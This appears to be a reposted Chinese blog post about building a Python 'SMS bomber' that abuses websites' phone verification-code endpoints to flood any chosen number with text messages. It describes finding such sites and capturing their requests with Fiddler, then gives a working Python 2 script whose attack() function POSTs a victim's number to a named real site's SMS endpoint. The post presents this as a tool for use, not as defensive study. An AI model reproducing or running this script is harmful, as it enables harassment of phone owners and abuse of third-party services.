python短信轰炸机版本smsbomb----------部分(post)
Python 版本 部分 post 短信
2023-09-11 14:21:01 时间
用一些用手机号注冊且须要发送验证码的站点的漏洞。能够向不论什么人的手机号发送短信,当然短信内容,我们无法控制。所以主要工作还是寻找这种站点。然后利用Fiddler或者HttpWatch分析请求。使用post还是get,数据格式是怎么样的等。
以http://topic.hongxiu.com/wap/为例:
然后随便填一个电话号码,进行抓包分析:
通过这个能够看出。请求方式是POST,点击webForms就能够看到发送的数据格式。
有了这些就非常easy了,核心就是向serverpost数据
import httplib,urllib,sys,os,re,urllib2 import string def attack(phone): datas="" url='http://topic.hongxiu.com/wap/action.aspx' #请求的数据 payload={'hidtpye':'1', 'txtMobile':phone} #注意Referer不能为空 i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5", "Accept": "text/plain",'Referer':'http://topic.hongxiu.com/wap/'} payload=urllib.urlencode(payload) try: request=urllib2.Request(url,payload,i_headers) response=urllib2.urlopen(request) datas=response.read() print datas print 'attack success!!!' except Exception, e: print e print "attack failed!!!" if __name__=="__main__": phone=raw_input('input the phone:') attack(phone)源代码地址:https://github.com/iloster/PythonScripts/blob/master/hongxiu.py
版权声明:本文博客原创文章,博客,未经同意,不得转载。
相关文章
- Python之——python-nmap的安装与常用方法说明
- 【Python成长之路】python 基础篇 -- 装饰器【华为云分享】
- python通过socket实现多个连接并实现ssh功能详解
- 摸鱼也有效率——8个python自动化脚本提高打工人幸福感~
- Python语言学习之文件夹那些事:python和文件夹的使用方法之详细攻略
- Python语言编程学习:利用python输出当前python版本、MSC版本型号
- Python语言学习之数值、小数、空格那些事:python和数值、小数、空格的使用方法之详细攻略
- 猿创征文|Python基础——Visual Studio版本——pytest
- 猿创征文|Python基础——Visual Studio版本——第五章 文件I/O
- 程序员数学基础【五、math库常用函数】(Python版本)
- 程序员数学基础【一、基础运算符号(整数、普通浮点数运算、逻辑运算)】(Python版本)
- 已解决(Python安装报错)Visit python.org to download an earlier version of Python.
- 【华为云技术分享】基于Atlas 200 DK的原版YOLOv3(基于Darknet-53)实现(Python版本)
- python用Django+Celery+Redis 监视程序(一)
- windows环境下学会使用conda 创建虚拟环境,解决python版本与库不兼容问题
- python 将一个JSON 字典转换为一个Python 对象
- python 中根据python版本(2或3)定义函数
- 多版本Python共存时pip给指定版本的python安装package的方法
- 改进差分进化算法及其求解柔性作业车间调度问题(Python代码实现)